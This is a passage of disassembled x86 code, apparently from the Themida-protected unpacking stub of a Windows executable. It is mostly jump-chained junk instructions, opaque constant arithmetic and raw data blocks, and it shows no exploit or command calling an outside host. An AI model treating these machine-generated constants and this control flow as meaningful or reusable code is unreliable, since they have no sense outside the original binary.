		mov	[esp+1Ah+var_1A], ebx
		pop	ebp
		jmp	loc_59C707
; ---------------------------------------------------------------------------


loc_5A2E52:				; CODE XREF: sub_57DD3A+12905j
		mov	ecx, ebp
		pop	ebp
		add	ebp, ecx
		pop	ecx
		jmp	loc_59A76F
; ---------------------------------------------------------------------------


loc_5A2E5D:				; CODE XREF: sub_57DD3A+25394j
		push	eax
		mov	eax, 0A670EC30h
		add	edi, eax
		pop	eax
		sub	eax, edi
		jmp	loc_593ED7
; ---------------------------------------------------------------------------


loc_5A2E6D:				; CODE XREF: sub_57DD3A+1DE69j
		or	ecx, 68C550A2h
		xor	ecx, 68E02689h
		add	ecx, 71501B82h
		and	ecx, 2925247Fh
		sub	ecx, 663A4567h
		push	4D27h
		mov	[esp+4Ah+var_4C+2], edx
		jmp	loc_59E749
; ---------------------------------------------------------------------------


loc_5A2E98:				; CODE XREF: sub_57DD3A+224EEj
		mov	ebx, [esp+64h+var_64]
		add	esp, 4
		inc	ebx
		add	ebx, 20082222h
		jmp	loc_59FCD4
; ---------------------------------------------------------------------------


loc_5A2EAD:				; CODE XREF: sub_57DD3A+10B2Ej
		push	edx
		mov	edx, 4
		jmp	loc_59A832
; ---------------------------------------------------------------------------


loc_5A2EB8:				; CODE XREF: sub_57DD3A+24F8Ej
		pop	edi
		xor	eax, [esp+20h+var_22+2]
		xor	[esp+20h+var_22+2], eax
		xor	eax, [esp+20h+var_22+2]
		jmp	loc_59E86F
; ---------------------------------------------------------------------------


loc_5A2EC7:				; CODE XREF: sub_57DD3A+228DBj
		pop	eax
		pop	edx


loc_5A2EC9:				; CODE XREF: sub_57DD3A+22678j
		push	5AC0h
		jmp	loc_593B6A
; ---------------------------------------------------------------------------


loc_5A2ED3:				; CODE XREF: sub_57DD3A+143D4j
		mov	ebx, esp
		push	esi
		mov	esi, esp
		jmp	loc_59175E
; ---------------------------------------------------------------------------


loc_5A2EDD:				; CODE XREF: sub_57DD3A+13DACj
		add	eax, 24293DB3h
		jmp	loc_59978E
; ---------------------------------------------------------------------------


loc_5A2EE7:				; CODE XREF: sub_57DD3A+247BBj
		pop	ebx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+58h+var_58]
		xor	[esp+58h+var_58], ebx
		jmp	loc_597500
; ---------------------------------------------------------------------------


loc_5A2EFF:				; CODE XREF: sub_57DD3A+15DD0j
		sub	ecx, 29E0B33Bh
		mov	edx, ecx
		pop	ecx
		xor	edx, 793E4AC8h
		sub	ecx, edx
		pop	edx
		push	eax
		mov	eax, 41B611B6h
		sub	eax, 0FFFFFFFFh
		shr	eax, 4
		neg	eax
		sub	eax, 63FE3251h
		shr	eax, 4
		sub	eax, 696DDE78h
		xor	ecx, eax
		pop	eax
		add	ebx, ecx
		pop	ecx
		jmp	loc_599176
; ---------------------------------------------------------------------------


loc_5A2F39:				; CODE XREF: sub_57DD3A+20B81j
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp+0Ch+var_E+2]
		mov	esp, [esp+0Ch+var_E+2]
		push	edi
		mov	edi, esp
		jmp	loc_59A651
; ---------------------------------------------------------------------------


loc_5A2F56:				; CODE XREF: sub_57DD3A+1897Dj
		pop	eax
		jmp	loc_598F42
; ---------------------------------------------------------------------------


loc_5A2F5C:				; CODE XREF: sub_57DD3A+1CE6Ej
		mov	[esp+58h+var_58], ebp
		jmp	loc_5A065B
; ---------------------------------------------------------------------------


loc_5A2F64:				; CODE XREF: sub_57DD3A+1EC62j
		pop	edi
		jmp	loc_59D71B
; ---------------------------------------------------------------------------


loc_5A2F6A:				; CODE XREF: sub_57DD3A+1068Ej
		xor	ebp, 6BFD68A9h
		xor	ebp, 426C23A7h
		sub	ebp, 0E6E54ECEh
		sub	ebx, ebp
		pop	ebp
		sub	ebx, 0A5A3B514h
		mov	esi, ebx
		jmp	loc_58EDF4
; ---------------------------------------------------------------------------


loc_5A2F8C:				; CODE XREF: sub_57DD3A+1827Bj
		sub	eax, 427A331Eh
		jmp	loc_597A72
; ---------------------------------------------------------------------------


loc_5A2F96:				; CODE XREF: sub_57DD3A+1FB28j
		or	eax, eax
		jz	loc_59309C
		push	63D9h
		mov	[esp+50h+var_50], ebx
		push	edi
		push	ecx
		push	1EC466A2h
		pop	ecx
		push	ebx
		jmp	loc_591B4E
; ---------------------------------------------------------------------------


loc_5A2FB4:				; CODE XREF: sub_57DD3A+209D1j
		mov	ebx, 0
		add	ebx, 4E5E6B88h
		add	ebx, edx
		sub	ebx, 4E5E6B88h
		push	46FBh
		jmp	loc_59622F
; ---------------------------------------------------------------------------


loc_5A2FD1:				; CODE XREF: sub_57DD3A+1497Aj
		sub	ebx, ecx
		jmp	loc_59F3D4
; ---------------------------------------------------------------------------


loc_5A2FD8:				; CODE XREF: sub_57DD3A+20773j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+78h+var_78]
		mov	esp, [esp+78h+var_78]
		mov	[esp+78h+var_78], ebp
		push	esi
		jmp	loc_58E429
; ---------------------------------------------------------------------------


loc_5A2FEF:				; CODE XREF: sub_57DD3A+24D05j
		push	edi
		mov	edi, esp
		jmp	loc_5A0BDA
; ---------------------------------------------------------------------------


loc_5A2FF7:				; CODE XREF: sub_57DD3A+1CDE0j
		xor	eax, ecx
		push	ecx
		not	[esp+40h+var_42+2]
		pop	ecx
		xor	eax, ecx
		jmp	loc_598AAC
; ---------------------------------------------------------------------------


loc_5A3005:				; CODE XREF: sub_57DD3A+22AEDj
		not	al
		or	al, 0ACh
		jmp	loc_58FF80
; ---------------------------------------------------------------------------


loc_5A300E:				; CODE XREF: sub_57DD3A+1934Cj
		xor	ecx, [esp-4+arg_0]
		pop	esp
		xor	bl, al
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5A3020:				; CODE XREF: sub_57DD3A+224D7j
		push	ecx
		push	ebp
		mov	ebp, 34BF5E9Dh
		mov	ecx, 34BF5E99h
		xor	ecx, ebp
		pop	ebp
		sub	eax, ecx
		jmp	loc_59E50A
; ---------------------------------------------------------------------------


loc_5A3036:				; CODE XREF: sub_57DD3A+21927j
		push	78AAh
		jmp	loc_5A16CE
; ---------------------------------------------------------------------------


loc_5A3040:				; CODE XREF: sub_57DD3A+128FAj
		xor	edx, [esp+0]
		mov	esp, [esp+0]
		bts	[esp+0], ax
		pushf
		jmp	loc_594DF9
; ---------------------------------------------------------------------------


loc_5A3051:				; CODE XREF: sub_57DD3A+2031Fj
		mov	ebp, ebx
		pop	ebx
		push	eax
		push	edx
		mov	edx, 4F804FA2h
		mov	eax, 5E601F48h
		xor	eax, edx
		pop	edx
		add	eax, 114260Dh
		neg	eax
		sub	eax, 37373B39h
		jmp	loc_597058
; ---------------------------------------------------------------------------


loc_5A3074:				; CODE XREF: sub_57DD3A+22328j
		inc	ah
		jmp	loc_5A25D9
; ---------------------------------------------------------------------------


loc_5A307B:				; CODE XREF: sub_57DD3A+1BE67j
		sub	ax, 33AFh
		jmp	loc_59FCC6
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0Eh+var_E]
		jmp	loc_593442
; ---------------------------------------------------------------------------


loc_5A308D:				; CODE XREF: sub_57DD3A+1D925j
		add	eax, 81E78754h
		sub	ebx, eax
		pop	eax
		push	eax
		mov	eax, 541B3C30h
		neg	eax
		jmp	loc_590916
; ---------------------------------------------------------------------------


loc_5A30A2:				; CODE XREF: sub_57DD3A+1B57Cj
		xor	esi, 0ADFC164h
		sub	ebx, esi
		jmp	loc_59E33F
; ---------------------------------------------------------------------------


loc_5A30AF:				; CODE XREF: sub_57DD3A+1B593j
		or	edi, 6775ADEh
		push	ecx
		mov	ecx, 0C150B7Eh
		dec	ecx
		add	ecx, 59063FEEh
		xor	edi, ecx
		mov	ecx, [esp+34h+var_36+2]
		add	esp, 4
		dec	edi
		jmp	loc_5A2E5D
; ---------------------------------------------------------------------------


loc_5A30D3:				; CODE XREF: sub_57DD3A+1EC41j
		add	eax, 4
		jmp	loc_59A793
; ---------------------------------------------------------------------------


loc_5A30DD:				; CODE XREF: sub_57DD3A+241EBj
		push	1C1Fh
		mov	[esp+46h+var_46], edx
		jmp	loc_59A9EC
; ---------------------------------------------------------------------------


loc_5A30EA:				; CODE XREF: sub_57DD3A+1494Fj
		add	edx, 12D253E6h
		jmp	loc_58F3C2
; ---------------------------------------------------------------------------


loc_5A30F5:				; CODE XREF: sub_57DD3A+1F744j
		pop	ebx
		pop	ecx
		not	ecx
		jmp	loc_5A1E97
; ---------------------------------------------------------------------------


loc_5A30FE:				; CODE XREF: sub_57DD3A+1427Ej
		pop	esi
		pop	esi
		xor	edx, [esp+0]
		xor	[esp+0], edx
		xor	edx, [esp+0]
		pop	esp
		mov	ax, word ptr [esp-6+arg_0+2]
		push	ebp
		sub	esp, 4
		mov	[esp+2+var_4+2], esp
		add	[esp+2+var_4+2], 4
		mov	ebp, [esp+2+var_4+2]
		add	esp, 4
		push	ebx
		mov	ebx, 20DE7F2Ch
		sub	esp, 4
		mov	[esp+6+var_8+2], edi
		mov	edi, 30520B11h
		xor	ebx, edi
		mov	edi, [esp+6+var_8+2]
		add	esp, 4
		jmp	loc_59599F
; ---------------------------------------------------------------------------


loc_5A3143:				; CODE XREF: sub_57DD3A+13285j
		push	4031h
		mov	[esp+1Eh+var_1E], ebp
		mov	ebp, esp
		push	ebx
		push	eax
		push	esi
		mov	esi, 357A6F7Ah
		jmp	loc_58F6C6
; ---------------------------------------------------------------------------


loc_5A315A:				; CODE XREF: sub_57DD3A+22D27j
		add	esi, 4
		push	2BC6h
		mov	[esp+2Eh+var_2E], ebp
		jmp	loc_59483D
; ---------------------------------------------------------------------------


loc_5A316D:				; CODE XREF: sub_57DD3A+20C1Ej
		push	ebp
		mov	ebp, 3FF3507Fh
		jmp	loc_5A253D
; ---------------------------------------------------------------------------


loc_5A3178:				; CODE XREF: sub_57DD3A+14006j
		xchg	eax, [esp+2+var_4+2]
		pop	esp
		add	ebp, 0ADD39CCh
		sub	ebp, ecx
		sub	ebp, 0ADD39CCh
		jmp	loc_593672
; ---------------------------------------------------------------------------


loc_5A318F:				; CODE XREF: sub_57DD3A+14325j
		mov	esp, [esp+14h+var_16+2]
		or	byte ptr [esp+14h+var_16+2], al
		pushf
		jmp	loc_591376
; ---------------------------------------------------------------------------


loc_5A319B:				; CODE XREF: sub_57DD3A+17255j
		xor	edi, 3D5F194Dh
		add	edx, edi
		jmp	loc_59589A
; ---------------------------------------------------------------------------


loc_5A31A8:				; CODE XREF: sub_57DD3A+1841Aj
		push	ebx
		inc	[esp+2+var_4+2]
		pop	ebx
		push	esi
		mov	esi, 0E5C43F2h
		jmp	loc_598245
; ---------------------------------------------------------------------------


loc_5A31B8:				; CODE XREF: sub_57DD3A+17C72j
		sub	ebx, 643D3C8Ch
		shr	ebx, 4
		xor	ebx, 8B364F7h
		push	ecx
		mov	ecx, 6F3C79A9h
		push	ebp
		jmp	loc_5A2ABA
; ---------------------------------------------------------------------------
		push	4ADBh
		mov	[esp+7Ch+var_7C], edi
		jmp	loc_59B11B
; ---------------------------------------------------------------------------


loc_5A31E0:				; CODE XREF: sub_57DD3A+15AE5j
		not	bh
		sub	bh, 98h
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], edx
		mov	dl, 0D2h
		shr	dl, 7
		push	ecx
		mov	ch, 2Bh
		jmp	loc_59DB74
; ---------------------------------------------------------------------------


loc_5A31F8:				; CODE XREF: sub_57DD3A+1122Ej
		xor	edi, 74453657h
		xor	edi, 0F0BB8180h
		add	ecx, edi
		pop	edi
		add	ecx, 4
		xor	ecx, [esp+32h+var_32]
		xor	[esp+32h+var_32], ecx
		xor	ecx, [esp+32h+var_32]
		pop	esp
		pop	[esp+2Eh+var_2E]
		mov	esp, [esp+2Ah+var_2A]
		pop	[esp+2Ah+var_2A]
		mov	esp, [esp+26h+var_26]
		mov	word ptr [esp+26h+var_26], dx
		jmp	loc_59D163
; ---------------------------------------------------------------------------


loc_5A3229:				; CODE XREF: sub_57DD3A+168D7j
		pop	dx
		sub	al, ch
		mov	ecx, [esp+2+var_4+2]
		add	esp, 4
		add	al, dh
		push	ebx
		mov	bl, 82h
		dec	bl
		inc	bl
		add	bl, 0EBh
		add	bl, 43h
		jmp	loc_59D3E6
; ---------------------------------------------------------------------------


loc_5A324A:				; CODE XREF: sub_57DD3A+12693j
		add	edx, 638D3216h
		xor	edx, 0B9B3BC69h
		add	edi, edx
		pop	edx
		add	ebx, 3A4E4CFDh
		add	ebx, edi
		sub	ebx, 3A4E4CFDh
		pop	edi
		push	eax
		mov	eax, 4
		jmp	loc_592CD9
; ---------------------------------------------------------------------------


loc_5A3273:				; CODE XREF: sub_57DD3A+18A57j
		add	ecx, 22636F1Fh
		push	eax
		mov	eax, 124F5865h
		push	eax
		not	[esp+18h+var_1A+2]
		mov	eax, [esp+18h+var_1A+2]
		add	esp, 4
		shl	eax, 5
		add	eax, 99C372F7h
		jmp	loc_5A02F7
; ---------------------------------------------------------------------------


loc_5A3296:				; CODE XREF: sub_57DD3A+19C3Aj
		mov	esp, [esp+68h+var_68]
		add	esp, 4
		push	eax
		mov	eax, 65C936B5h
		shr	eax, 2
		not	eax
		add	eax, 19724DB2h
		jmp	loc_59921A
; ---------------------------------------------------------------------------


loc_5A32B4:				; CODE XREF: sub_57DD3A+10654j
		pop	esp
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5A32BA:				; CODE XREF: sub_57DD3A+24810j
		push	dword ptr [eax]
		mov	ecx, [esp+12h+var_12]
		push	edx
		push	esp
		jmp	loc_59B4D5
; ---------------------------------------------------------------------------


loc_5A32C6:				; CODE XREF: sub_57DD3A+1ED5Dj
		pop	eax
		pop	eax
		push	ebp
		jmp	loc_596355
; ---------------------------------------------------------------------------


loc_5A32CE:				; CODE XREF: sub_57DD3A+18C9Bj
		mov	edx, 2
		push	eax
		mov	eax, 6A124184h
		inc	eax
		push	edi
		mov	edi, 1CBA77B9h
		shl	edi, 2
		neg	edi
		jmp	loc_5966EC
; ---------------------------------------------------------------------------


loc_5A32EA:				; CODE XREF: sub_57DD3A+1AF13j
		mov	dh, 2Ch
		or	cl, dh
		pop	dx
		push	bx
		mov	bl, 10h
		add	cl, 6
		add	cl, bl
		jmp	loc_598FF6
; ---------------------------------------------------------------------------


loc_5A32FE:				; CODE XREF: sub_57DD3A+3863j
		jmp	loc_5A3344
; ---------------------------------------------------------------------------
		db 0A6h
		dd 555CF379h, 33524553h, 6C642E32h, 4441006Ch, 49504156h
		dd 642E3233h, 4E006C6Ch, 4C4C4454h, 6C6C642Eh, 507D800h
		dd 6000200h, 26001100h,	8E002200h, 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5A3344:				; CODE XREF: sub_57DD3A:loc_5A32FEj
		jmp	loc_5A3CBF
; ---------------------------------------------------------------------------
		push	6179A23h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	6179AB9h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	6179BF2h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	6179D6Bh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	6179DCFh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	6179EBFh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	6179F32h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		db 84h
		dd 44DBBA2Ah, 93A075E5h, 0FC33C232h, 0BA690C7Ch, 6E2DC838h
		dd 9000823Dh, 59C92E05h, 950567BCh, 60D03300h, 0A91C4295h
		dd 16916B60h, 0B2B28A0Bh, 0B8E89859h, 0FB3B1FA6h, 8042169Bh
		dd 93F89CC5h, 614E5F16h, 1072BF9Dh, 0F19976A0h,	7405A2D2h
		dd 79A94DECh, 0D3BF7065h, 0B007291Eh, 19C184DAh, 0E4C973CCh
		dd 293E63E2h, 0ECBDF682h, 62E1FBC3h, 0F682293Fh, 3264D431h
		dd 38D2E35Dh, 0A4CC6CFEh, 0E39009EDh, 91AD82D8h, 98C8B332h
		dd 55D5C2F0h, 0F3DCB1E5h, 0F52F1EBh, 0EEFC9CD3h, 0A272DDDh
		dd 547D48A9h, 0B5FC9CD3h, 9CD3CB0Eh, 3FE1B2FCh,	7FB4416Eh
		dd 78F18CFCh, 67D1DD9Dh, 7BCE54Dh, 0E7470000h, 30919E77h
		dd 7FFE35C0h, 37B9660Fh, 81012EC7h, 64278411h, 0BC59C929h
		dd 5900067h, 0B75ECE2Eh, 0FA9B0B68h, 1B3E05C9h,	0E2169168h
		dd 0C7241B21h, 347D5F57h, 0A8F154B5h, 531086F2h, 137D6D42h
		dd 982B3363h, 169E8B4Dh, 74E4456Eh, 0F99D4D42h,	9F1D1628h
		dd 6B42873Eh, 18291691h, 0DBFC5E37h, 0E3DBB1CCh, 98E80A10h
		dd 2B55E79h, 1282E72Ch,	0D23F2B24h, 1F140272h, 54B5109Ch
		dd 91FCA8F1h, 6D425316h, 7956C626h, 0E0B125A4h,	3CB8BEB7h
		dd 726h, 24F161DDh, 5B3AAA0Fh, 1CF969C4h, 6431A107h, 1AFB6BCFh
		dd 2F930E7Dh, 0E649D6BFh, 34909F76h, 810231C4h,	8B538411h
		dd 916891B8h, 0A19B5C16h, 72E2624Fh, 0F2B0D96Ch, 6A3B1086h
		dd 0C0309380h, 0EE5EDDD6h, 8934C5A8h, 0A81E3DC0h, 64C397h
		dd 24D70000h, 0EC4D66C7h, 0E0453A7Ch, 1086F2B9h, 0B95C7344h
		dd 0F297B673h, 6AC91086h, 0F2173A09h, 0D4D61086h, 86F22871h
		dd 0EDC2D310h, 0F8D747A6h, 8200311Dh, 3F2B2412h, 6975A559h
		dd 9C64BEDAh, 506E3F16h, 6D71E163h, 808DD46Fh, 5F701693h
		dd 0F153E0ABh, 249FBD81h, 169380FDh, 51BBAF80h,	671F1h
		dd 864FC500h, 3B9D7Ah, 0E736A74Fh, 165EBFB5h, 63E05139h
		dd 0D8D9C3F3h, 99FFEB5Bh, 0D801C4E5h, 16108698h, 0B17A2696h
		dd 2E6106FAh, 0C5EAC577h, 0B58A4AF9h, 5A6B169Bh, 7B0764BBh
		dd 0B18E88F8h, 4697C09Eh, 0D3CAE50Ch, 0D8F767C5h, 0A3536332h
		dd 92D86B73h, 1B108B57h, 7DFF340Ah, 39BB680Dh, 5CE7F5C9h
		dd 1CAB8735h, 903E7B8h,	0FD89EE43h, 350A0C7Ch, 40C3701Ah
		dd 49C84DD0h, 151FB1CAh, 5EDADh, 28981600h, 0E353D64Dh
		dd 30A01D12h, 0FA6ACE65h, 36A6041Bh, 5043485Fh,	3CF382F2h
		dd 75AA4BBBh, 41EE87F7h, 10C352C2h, 6952774Eh, 58191691h
		dd 57C724E4h, 0B4347D5Fh, 0F2A9F053h, 43541086h, 0B5552A6Ch
		dd 638FF774h, 9F96027Ah, 391E200Fh, 0B17C0931h,	10FEEC1Dh
		dd 0E72F9F23h, 8E091F1Eh, 3D7633EFh, 0D34B4BBBh, 3291614Ch
		dd 10860CEFh, 0AB92BD8Eh, 9AB6A30Ah, 0F210860Ah, 0A919B143h
		dd 0FEA73F97h, 5F7DFFFFh, 87FEBDE4h, 7B6F4010h,	57C72497h
		dd 91A64E87h, 6952774Eh, 8191086h, 42F4C72Fh, 77484EBEh
		dd 0F684B258h, 794C1242h, 169CC3DDh, 0C0E68FA0h, 370ED000h
		dd 1089FEC3h, 8F7DB98Ah, 910110C6h, 4B3FD1A4h, 0AD192C70h
		dd 8934DB1Ch, 0D4093DC0h, 193C3A3h, 0B2D70000h,	2A1B3C59h
		dd 40D3C1D2h, 0F1C9E5Ah, 2C03907Ch, 7CA4543Eh, 88F56CB0h
		dd 320C23C3h, 9B018F93h, 0C3278C16h, 0F6BEE362h, 6C3D1690h
		dd 2EF7A743h, 0F85B32CAh, 36C8E7F4h, 771F678Fh,	407010ECh
		dd 2503C77Eh, 0BDEAC96Ch, 0F6C7CF3Fh, 0C7CF3FBDh, 4BDDD9F6h
		dd 0E0637BABh, 0F09969E5h, 0C597A778h, 3459B590h, 0BA7344B4h
		dd 0C0711990h, 3E63E243h, 0BDFC9CEEh, 0B6FBC3ECh, 4726C434h
		dd 0E7F35BD8h, 3BDDC641h, 96BB8A54h, 55FC9C30h,	0FB926B44h
		dd 0E0D1DCFCh, 4746ED6h, 2F8F0000h, 0E849D6BFh,	27869D78h
		dd 0EF51DEB7h, 2989967Fh, 0CCBFDCB9h, 740171D1h, 2DC838BFh
		dd 6F0676F6h, 42D343C0h, 0D3F6CD91h, 9A16916Fh,	0BAB63D9h
		dd 0FCD903DBh, 30D649D7h, 8221C96Fh, 169EDD4Bh,	0C25390Ah
		dd 57C724B0h, 7EEE525Fh, 88977E51h, 697ABC2Ch, 0E6039A0Ah
		dd 79B7DFD0h, 410F77Bh,	93F30000h, 5CDD5223h, 9B1A09ECh
		dd 53D54A2Bh, 9D1D12E3h, 5853482Dh, 950565h, 0B95CCC33h
		dd 0FB9A0A6Ah, 0BE57C724h, 577A4915h, 1616916Fh, 0C724E755h
		dd 98E9A5Fh, 0CFE07045h, 0E959DAC7h, 0C737B4ADh, 8BAA06CFh
		dd 7B82E40Bh, 4D49B938h, 558E41E8h, 0AC617668h,	4554FEEh
		dd 0AC137E6Ch, 86456DADh, 8E169F10h, 1C97A8CDh,	0FFFFFCE1h
		dd 82864FF0h, 0E7EFF25h, 0F73FAC29h, 25951613h,	87B787F1h
		dd 0CEB40CB7h, 0E8B9169Ch, 0EA5ADDD6h, 5C37D3ACh, 935EB2D0h
		dd 18ABB3E3h, 169BFB30h, 85526C3Dh, 2B758F4h, 0ABF199DEh
		dd 8B828B18h, 252730BEh, 0E124C421h, 0BE2E9281h, 0E212E6CCh
		dd 69DC02DCh, 0BEAB2E20h, 0B510FACBh, 0B8B1D4EDh, 0F177BF90h
		dd 82411D4Dh, 0A2DEDF03h, 347D4152h, 81AE47B7h,	0E80B9202h
		dd 7B039F92h, 320F979h,	63E30000h, 0AC0D22F3h, 6BCA593Ch
		dd 0A3051AFBh, 6DCD6233h, 88318FDh, 0D0A51595h,	896CDC63h
		dd 0CBAA1A9Ah, 8E67D754h, 67AA1945h, 616916Ch, 0BABB785h
		dd 0D8D903DBh, 0D0ADE959h, 8B5C8B3Ah, 0A1B169Eh, 979FF34h
		dd 56D6DB61h, 0CE3EBCF5h, 0B4EF7C8h, 0F216916Bh, 0B8670E21h
		dd 0D9CACC3Ch, 8F23F25Ah, 0F2B7538Ah, 91340DDh,	6254B7E0h
		dd 2ADE2h, 68D85600h, 0A313968Dh, 70E05DD2h, 0BA2A8EA5h
		dd 76E644DBh, 1083089Fh, 7CB342B2h, 35EA8BFBh, 81AE47B7h
		dd 0D0039202h, 6D12370Eh, 18D91691h, 0DB0BAB24h, 0AE03D903h
		dd 256CD949h, 0C81086F2h, 0D040BCF7h, 8B5C8B3Ah, 0A1B169Eh
		dd 0E7EFF34h, 333A305h,	0DE600Ah, 6B2267DEh, 0F8C91691h
		dd 32A22112h, 5CE42B2Ch, 2FFBD443h, 67585ECEh, 0E3D3A248h
		dd 4EBFEE16h, 0EF71560Eh, 61834CC8h, 8AA5B20Eh,	95FD7FB4h
		dd 0E2A42601h, 0B6547BF7h, 0F775BEA0h, 20A28F87h, 0A68986B0h
		dd 4EC6D9C4h, 74451691h, 69D13142h, 0D76E6344h,	169168B2h
		dd 5B4F6839h, 75E546D6h, 66D6595Ah, 46705F30h, 0F152B09Fh
		dd 91190F52h, 0F2DDEE16h, 0F464C7ECh, 4B52D5C2h, 9C1F3971h
		dd 0EEBCD7B3h, 82411D4Dh, 16916C57h, 10211526h,	895343B3h
		dd 6FDF5E53h, 0AAEF5627h, 5116916Ch, 0FDBAA40h,	0B1129E22h
		dd 57785541h, 85F576B3h, 5FC043F0h, 916CBDE4h, 406F4016h
		dd 43B3357Eh, 0A6907A53h, 931A0E1Bh, 0A8189B2Ch, 65D556CDh
		dd 0F06A6B31h, 9CCD92Dh, 74F633D7h, 3E771204h, 53BB388Fh
		dd 0D216DFF7h, 0B1446B24h, 2697A8ADh, 0DCFF7D36h, 4BCBADDAh
		dd 95755A8Bh, 70A61694h, 0E950D811h, 0E571D1F6h, 213D1282h
		dd 0C041883Bh, 1B2C1691h, 0F93A246Fh, 300D0979h, 0E959D95Ah
		dd 0C838B4ADh, 8F3EE7CEh, 87CA7963h, 661691C0h,	4B4BBB39h
		dd 7CAD5D72h, 63E78EFEh, 0CC42ED72h, 23C79A3Eh,	211585E6h
		dd 7FA2213Bh, 0FE1691D5h, 755E3D2Dh, 89CEED7Eh,	0E52C97C5h
		dd 88AE0C7Ch, 0F1DCD3B7h, 10E555D6h, 630A023h, 26961B18h
		dd 0BE6B1FF0h, 0D9CACC3Ch, 0B9AAEC5Ch, 0A436CF37h, 90FF2D5h
		dd 0A415F026h, 7FE6AA39h, 84F47750h, 51C142F1h,	0DE657765h
		dd 0AE0CE2BBh, 8667142h, 0B8B0A9A8h, 7D417713h,	7BDA5855h
		dd 209DC5EAh, 0AEB09FB0h, 113F7F17h, 112DFEA8h,	3C51784Bh
		dd 0B1CD419h, 0D2A6145Fh, 0D0299CA2h, 5BD20145h, 0D4574C4Ah
		dd 777D5A64h
		dd 3DAD1280h, 143304F9h, 0BD2D8FD3h, 869DF892h,	281B525h
		dd 0A1DC2794h, 935F4ED5h, 6AB0C3C2h, 0B654F34Dh, 0EF86F675h
		dd 6353C340h, 0B9E06379h, 0DB351AFEh, 134296ABh, 1D2E9259h
		dd 0CC3CBC6Dh, 0E757D9CAh, 0DC3DC2AFh, 1A942069h, 0D5FACB35h
		dd 8C33E2E1h, 476C6E57h, 0C03D76E6h, 0D0FFBA50h, 710474F7h
		dd 0E5D141C2h, 115Dh, 0D6565B00h, 86673066h, 373C2564h
		dd 4AF298B7h, 0CA244B2Fh, 0E4475C5Ah, 0D3314274h, 0B93E3363h
		dd 0D6544D49h, 0BF433066h, 0D65A474Fh, 0C2433066h, 0EA4F6452h
		dd 55783C7Ah, 0C5815D54h, 4, 8704ED83h,	815C242Ch, 4ECh
		dd 242C8900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+4Ch+var_4C]
		pop	esp
		mov	[esp+0], ecx
		push	edx
		push	664237FBh
		mov	edx, [esp+50h+var_50]
		add	esp, 4
		shl	edx, 6
		neg	edx
		shl	edx, 6
		xor	edx, 0DA97C960h
		mov	ebp, edx
		pop	edx
		push	esp
		mov	ecx, [esp+4Ch+var_4C]
		add	esp, 4
		push	ebp
		push	esi
		mov	esi, 54C708A6h
		xor	[esp+50h+var_4C], esi
		pop	esi
		pop	dword ptr [ecx+8]
		xor	dword ptr [ecx+8], 54C708A6h
		push	dword ptr [esp+0]
		pop	ecx
		add	esp, 4
		mov	ebp, [esp+44h+var_46+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		jmp	loc_581882
; ---------------------------------------------------------------------------
		db 10h
		db 60h,	49h, 0CEh
; ---------------------------------------------------------------------------


loc_5A3CBF:				; CODE XREF: sub_57DD3A:loc_5A3344j
		mov	eax, 617A204h
		add	eax, ebp
		jmp	eax
sub_57DD3A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 6B088B5h, 10EA340Ch,	33B5F825h, 42986CE4h, 4E77C4A1h
		dd 4BC04834h, 6D93F4A1h, 0A46D8A4h, 423FEF4Ah, 76DE4592h
		dd 1213933Ch, 10D66805h, 0F79F0D8h, 429A23E2h, 5B56EC73h
		dd 629AAA18h, 683347C6h, 34D7458Eh, 60455A79h, 0EF90B0Fh
		dd 848090Fh, 9E8h, 8E68D400h, 0CCF2516Bh, 12E9E5CDh, 4C000000h
		dd 9FB55104h, 0C2734CC2h, 469A69D8h, 0B46FF5C9h, 0C0815816h
		dd 70AEh, 0BE8h, 0DA5E6400h, 37AAC6ACh,	0B4655D39h, 0A1A5B95Eh
		dd 0E9814DDFh, 4DDF85B3h, 17BF108Bh, 810E5757h,	19D28DC2h
		dd 11E828h, 59AD0000h, 349D069Fh, 11FF97BDh, 864EE295h
		dd 0E91881CCh, 12h, 0AFB8943Dh,	4432489h, 8B1488DEh, 0FCE1F583h
		dd 815F1234h, 319252EAh, 12E906h, 0C0710000h, 0B434AE87h
		dd 0FF587185h, 30ECF368h, 0ED2BA960h, 0C12EC281h, 850F7D2Ch
		dd 4, 9B4BBF66h, 8A0F1089h, 0
; ---------------------------------------------------------------------------
		sub	eax, 4
		dec	ecx
		jnz	loc_5A3DF5
		add	bl, 1Dh
		jmp	loc_5A3E0B
; ---------------------------------------------------------------------------
		scasb
		shr	ecx, 1
		inc	ebx
		mov	ebx, 2574EC17h
		pushf
		cmp	eax, 2F41543Dh


loc_5A3DF5:				; CODE XREF: Themida_:005A3DD8j
		push	ebx
		pop	ebx
		jmp	near ptr dword_5A3CC8+9Ch
; ---------------------------------------------------------------------------
		pop	esp
		sal	dword ptr [eax], 0EFh
		mov	dh, 81h
		mov	ds:3B28D89Bh, al
		xchg	eax, ebp
		xchg	eax, esp
		nop
		aas


loc_5A3E0B:				; CODE XREF: Themida_:005A3DE1j
		jmp	loc_5A3E9D
; ---------------------------------------------------------------------------
		pusha
		cmp	dword ptr [ebp+6152E9Dh], 0
		jz	loc_5A3E23
		jmp	loc_5A3E9B
; ---------------------------------------------------------------------------


loc_5A3E23:				; CODE XREF: Themida_:005A3E18j
		push	0
		cmp	byte ptr [esi],	30h
		jnz	loc_5A3E36
		push	0
		inc	esi
		jmp	loc_5A3E6B
